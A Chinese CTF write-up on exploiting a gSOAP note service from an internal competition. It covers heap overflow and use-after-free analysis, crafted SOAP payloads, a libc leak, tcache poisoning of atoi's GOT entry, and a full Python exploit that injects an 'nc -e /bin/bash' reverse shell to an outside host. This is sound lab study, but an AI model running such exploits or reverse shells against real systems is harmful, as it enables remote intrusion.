[pwn]遇到不會的題不要急要一步步分析(和請教大佬)

遇到不會的題要一步步分析(和請教大佬)

拿到題目,沒見過的船新題型

公司內部比賽試題
一拿到題目,發現壓縮包並不簡單,怎麼還有個奇怪的東西混進來了。於是解壓之後直接打開這個奇怪的東西,發現並看不懂:
在這裏插入圖片描述
什麼鬼東西花裏胡哨的,先看看程序吧,執行程序先看一下:
在這裏插入圖片描述
好像什麼都沒發生,但也沒有結束,結合剛剛的xml有一種不想的預感,這尼瑪不會是個web吧…果然,回看一下題目的描述,找到對應端口訪問,是一個web無疑:
在這裏插入圖片描述

傳統方法簡單分析並不能解決

內容就是剛剛看到的xml,一模一樣。查看安全策略發現沒開PIE:
在這裏插入圖片描述
然後逆向分析這個程序,發現是一個c++的程序:
在這裏插入圖片描述
整個main函數挺簡單,就是起一個soap服務,先初始化,然後run,run中有異常就退出。繼續尋找發現了個奇怪的地方:
在這裏插入圖片描述
好像標準的堆漏洞的方式啊!進去查看發現new可以溢出,沒有校驗輸入內容的長度是否大於申請長度便直接拷貝:
在這裏插入圖片描述
大概意思是先申請一個0x18的堆塊用來存放這個節點的信息,然後再申請一個不固定的大小的堆塊來存放用戶輸入的數據,0x18的結構體內容分別是申請堆塊的大小,堆塊中存放內容的大小,堆塊指針。然後並沒有做任何的長度校驗便直接拷貝,存在堆溢出。

編輯函數中有一個長度校驗:
在這裏插入圖片描述
需要修改的長度要不大於原本內容的長度纔可以修改成功。

然後是刪除功能,同樣沒有任何校驗:
在這裏插入圖片描述
只要存在這個節點就可以刪除,先將堆塊free,然後將結構體堆塊free,free之後也沒有置null操作,存在double free,uaf等漏洞

那現在的問題就是如何執行到這,向上找調用關係找沒兩個函數就找不動了,最後追溯到Service::handleCommand這個函數,不知道誰調用了它,懷疑是間接調用。從頭開始順序讀發現Service::run里長這樣:
在這裏插入圖片描述

詢問大腿

wdnmd,全是間接調用我找個鬼啊,彷彿陷入了困境,xml看不懂,soap沒接觸過,漏洞找不到執行路徑,這個時候應該怎麼辦???
在這裏插入圖片描述
超神告訴我,你爲什麼不問問神奇的github呢?
在這裏插入圖片描述

github找到部分源碼思路突破

github搜索gsoap,第一個答案直接下載:https://github.com/stoneyrh/gSOAP,找到了我想要的東西:
在這裏插入圖片描述
和反彙編的很像有木有!
在這裏插入圖片描述
可能有細微差別,但也無傷大雅,只要知道這裏調用了啥就好,爲了保險起見,我在gdb裏動態調試跟了一下run這個函數究竟調用了啥,發現雖然有些細小的區別,但大體和我找的這個代碼是調用的同一批東西(感謝這個代碼保留了符號,沒開PIE,讓我可以很方便的調試,要是剝離符號我就掀桌子了):

b Service::run
b *(0x404488) //第一次簡介調用 call rax的地方
x /10i $rax  //查看rax是什麼妖魔鬼怪

在這裏插入圖片描述
用這個方法可以把這些簡介調用都看一遍,基本和源碼中的差不多,也就函數名有些出入或者邏輯關係前後順序有些顛倒,但並不影響,雖然方法很麻煩(而且很笨),但至少比較穩妥(誰讓我菜)。

然後對照着Service::run的源碼繼續跟,堆每個函數都用名字去二進制文件裏搜,看有沒有什麼不同,大部分沒什麼問題,而且邏輯上都是些沒有用的東西,直到我找到了serve()函數下的dispatch():
在這裏插入圖片描述
對比一下反彙編的dispatch,是不是有內味了:
在這裏插入圖片描述

新工具完成邏輯交互

顯然這是通往漏洞利用的一把鑰匙,那麼問題來了,怎麼執行到這,即使我有gsoap的源碼,即使我找到了漏洞的代碼。我對gsoap報文格式一無所知…那麼這個時候超神給我了這麼個插件:wizdler,可以把soap那個xml轉換成對應的報文格式!!wdnmd還有這麼好用的工具!!:
在這裏插入圖片描述
轉換之後變成了:
在這裏插入圖片描述
超神是真的屌!!!,然後用構造好的報文發一下:
在這裏插入圖片描述
除了一些奇怪的問題,但確實有內意思了!

看一下究竟什麼問題,根據逆向結果發現很有可能是命名空間的問題:
在這裏插入圖片描述
不太懂gsoap的語法,也不知道怎麼設置命名空間,但聰明的我靈機一動,把返回包裏的xml複製粘貼出來,在body下面添加ns:handleCommand標籤:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
    <SOAP-ENV:Body>
        <ns:handleCommand xmlns="http://localhost:33263/note.wsdl">
            <commandXml>[string]</commandXml>
        </ns:handleCommand>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

然後再發送一下,有內味了,返回的東西像模像樣的:
在這裏插入圖片描述
把裏面的東西解碼之後,可能是沒帶任何消息,解析有點問題的結果:
在這裏插入圖片描述

程序邏輯

回頭查看解析的邏輯,Service::handleCommand函數。
在這裏插入圖片描述
在array內部的繼續解析調用了一個叫做parseArray的函數,進入查看:
在這裏插入圖片描述
比較長,內容大體是邏輯就是:

  • 遇到magic標籤就返回
  • 首先檢查number標籤,代表的是一個array裏除了number之外還有幾個標籤,代表命令和參數,根據執行命令不同參數數量不同(new和edit三個,show和delete兩個)
  • 然後是一個simpleString標籤,裏面是一個content標籤,內容就是要執行的命令(new,delete,edit,show)
  • 然後是一個integer標籤,根據執行命令的不同有不同的含義
    • new命令代表申請堆塊的大小
    • delete,edit,show命令代表要刪除、編輯、顯示的堆塊號
  • 如果執行的是new和edit命令,接下來還會有bulkString標籤,裏面有一個number標籤和content標籤,其中content標籤是想要向堆塊中寫入的內容的base64編碼(寫入之前會解碼),number標籤是base64編碼的長度,必須嚴格匹配,不一樣會執行失敗。

然後這個解析是通過for循環持續解析一直到xml的末尾,也就是說可以在一個數據包中使用多個array標籤來執行多個命令:
在這裏插入圖片描述
繼續詳細閱讀發現並不簡單:
在這裏插入圖片描述
每次接收到數據包中的xml時都會申請一個0xf0的空間,用來生成一個臨時的NoteBook,本次數據包中的所有命令都會在這個NoteBook中完成,由於是臨時變量,也就是說下一次(數據包)操作的時候肯定找不到上次申請的堆塊的。然後再這個NoteBook中存放的是一個個的堆塊的索引,索引結構體的結構之前分析過了,總的來說是這個樣子:
在這裏插入圖片描述
既然如此,可以通過構造一個報文來驗證一下猜想,先申請一個20字節的節點,輸入’aaaaaaaaaa’(base64編碼方式送過去),然後show輸出:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
    <SOAP-ENV:Body>
        <ns:handleCommand xmls="http://localhost:33263/note.wsdl">
            <commandXml>
                <commandSeq>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>20</content>
                        </integer>
                        <bulkString>
                        <number>16</number>
                        <content>YWFhYWFhYWFhYQ==</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>show</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                </commandSeq>
            </commandXml>
        </ns:handleCommand>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

然後發送數據包:
在這裏插入圖片描述
對結果進行base64解碼:
在這裏插入圖片描述
再解碼正好是輸入的內容:
在這裏插入圖片描述

利用思路

那麼至此就可以開始考慮利用了,由於程序沒有開啓PIE,那麼我們只需泄露libc的地址便可,本題目使用的是libc-2.27那麼有了tcache,泄露libc的方法有很多,這裏我採用的方法是通過申請一個大的堆塊(0x500),然後釋放,使其被鏈入largebins,然後通過show輸出查看指針域的指向main arena的指針,便可以得到libc的地址。首先我們要通過調試得到0x500的large bins指針在libc中偏移多少,通過對show前的位置下斷點的方式來查看(程序沒開啓PIE,直接斷):
在這裏插入圖片描述
在這裏插入圖片描述
然後發送數據包:

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
    <SOAP-ENV:Body>
        <ns:handleCommand xmls="http://localhost:33263/note.wsdl">
            <commandXml>
                <commandSeq>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>1280</content>
                        </integer>
                        <bulkString>
                        <number>1708</number>
                        <content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>delete</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>show</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                </commandSeq>
            </commandXml>
        </ns:handleCommand>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

在這裏插入圖片描述
這裏發現和預期有了點出入,通過後面的一堆0x61確定這就是我們申請的largebins,但堆塊大小並不是我們申請的0x500,造成這個的原因是因爲,程序中並不只是我們在操作堆空間,還有base64編解碼,xml解析等也在操作堆空間。導致釋放這個大塊的時候可能和其他塊造成了合併,但這並不影響,因爲通過多次調試我們發現,每次都是一樣的0x6c0。然後這個堆塊中的指針(0x00007f9c4b316140)減掉這時libc的裝載地址(0x7f9c4af2a000)就得到了偏移量(0x3EC140)。只要對返回的內容進行兩次base64解碼便可得到指針值:
在這裏插入圖片描述
接下來要思考如何利用,雖然操作堆的函數漏洞百出但由於程序邏輯導致能利用的方法並不是很多。由於在我們操作堆塊之間還會有其他base64編解碼、xml解析等函數也操作堆塊,那麼導致溢出類的無法利用,會造成程序提前崩潰,換句話說我們無法對堆塊連續控制,也無法對堆佈局,相關的利用方法入unlink都無法利用。

由於libc-2.27引入了tcache,我最開始的想法是通過申請兩個tcache堆塊0和1,然後依次釋放0,1,0來形成循環單鏈表來達成任意地址寫,但一直調試失敗,最後發現是因爲釋放的時候不止是釋放我們申請的空間,同樣會釋放索引堆塊,也就是說會形成兩個循環鏈表,一個是0x20的索引堆塊的循環鏈表,一個是我們的,而在base64編解碼的時候有可能就申請了0x20的堆塊造成了提前崩潰:
在這裏插入圖片描述
正當我想其他方法的時候超神做完了…超神給出的方法是,先申請一個其他函數中用不到的大小的tcache堆塊,然後對其進行修改,然後再申請兩次來達到任意地址寫的目的。但這裏需要注意的一點就是,在釋放的時候還會釋放索引堆塊,編輯堆塊會校驗修改的內容的長度不能大於原文長度:
在這裏插入圖片描述
而索引中原文長度的域和索引釋放後next指針域是重合的,也就是說,釋放一個堆塊之後,指針域是0,那麼代表原文長度也是0,這時候無論如何修改都會失敗,所以要申請兩個堆塊,然後都釋放掉,這時最後釋放的堆塊的指針域就會指向第一次釋放的堆塊,就相當於有了長度,可以繞過size的檢驗了:
在這裏插入圖片描述
還面臨一個問題就是修改什麼,一般堆利用的題目都是修改got表或者malloc、free的hook,但由於本題有base64等其他操作堆空間的函數存在,無法修改malloc、free的hook和malloc和free的got表,超神選擇的是修改atoi的got表(牛逼),因爲在parseArray函數中解析標籤的時候解析number標籤後會調用atoi函數將字符串轉爲數字:
在這裏插入圖片描述
也就是說,在修改atoi的got表爲system後立刻在下一個array中的number標籤中加入要執行的反彈shell的shellcode,就可以執行成功。但這裏反彈shell的命令不能使用帶>的,會被解析成xml的一部分而解析失敗。所以要是用nc反彈:

nc -e /bin/bash 172.17.0.1 1988

然後將以上思路寫成exp,由於程序沒有開啓PIE,所以atoi的地址的base64就選擇硬編碼了:

import base64
from pwn import *
import requests

elf=ELF('./gsoapNote')
libc=ELF('./libc-2.27.so')
system_addr=libc.symbols['system']
#申請兩個0x500的堆塊,然後分別釋放,輸出最後一個釋放的堆塊
data="""
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
    <SOAP-ENV:Body>
        <ns:handleCommand xmls="http://localhost:33263/note.wsdl">
            <commandXml>
                <commandSeq>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>1280</content>
                        </integer>
                        <bulkString>
                        <number>1708</number>
                        <content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>delete</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>show</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                </commandSeq>
            </commandXml>
        </ns:handleCommand>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""
r = requests.post('http://192.168.159.5:23333/', data=data)
#兩次base64解碼得到main arena的地址,計算得到libc_base
msg=base64.b64decode(r.text[411:-74])
msg=msg[5:-32]
libc_base=u64(base64.b64decode(msg)[:8])-0x3EC140
print '[+]libc_base:',hex(libc_base)
system_addr=p64(libc_base+system_addr)
print '[+]system:',base64.b64encode(system_addr)
#先申請兩個0x60的堆塊,然後分別釋放
#之後編輯最後一個釋放的堆塊,將其next指針改爲atoi的got表
#然後申請兩次,第二次申請輸入的內容爲要修改的system地址
#然後加一個number爲shellcode的array操作
data="""
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" mlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:note">
    <SOAP-ENV:Body>
        <ns:handleCommand xmls="http://localhost:33263/note.wsdl">
            <commandXml>
                <commandSeq>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>96</content>
                        </integer>
                        <bulkString>
                        <number>108</number>
                        <content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>96</content>
                        </integer>
                        <bulkString>
                        <number>108</number>
                        <content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>delete</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                    <array>
                        <number>2</number>
                        <simpleString>
                        <content>delete</content>
                        </simpleString>
                        <integer>
                        <content>1</content>
                        </integer>
                    </array>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>edit</content>
                        </simpleString>
                        <integer>
                        <content>1</content>
                        </integer>
                        <bulkString>
                        <number>12</number>
                        <content>uHJjAAAAAAA=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>96</content>
                        </integer>
                        <bulkString>
                        <number>108</number>
                        <content>YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE=</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>3</number>
                        <simpleString>
                        <content>new</content>
                        </simpleString>
                        <integer>
                        <content>96</content>
                        </integer>
                        <bulkString>
                        <number>12</number>
                        <content>{}</content>
                        </bulkString>
                    </array>
                    <array>
                        <number>nc -e /bin/bash 172.17.0.1 1988</number>
                        <simpleString>
                        <content>delete</content>
                        </simpleString>
                        <integer>
                        <content>0</content>
                        </integer>
                    </array>
                </commandSeq>
            </commandXml>
        </ns:handleCommand>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

""".format(base64.b64encode(system_addr))
print data
r = requests.post('http://192.168.159.5:23333/', data=data)

然後nc監聽,反彈成功:
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章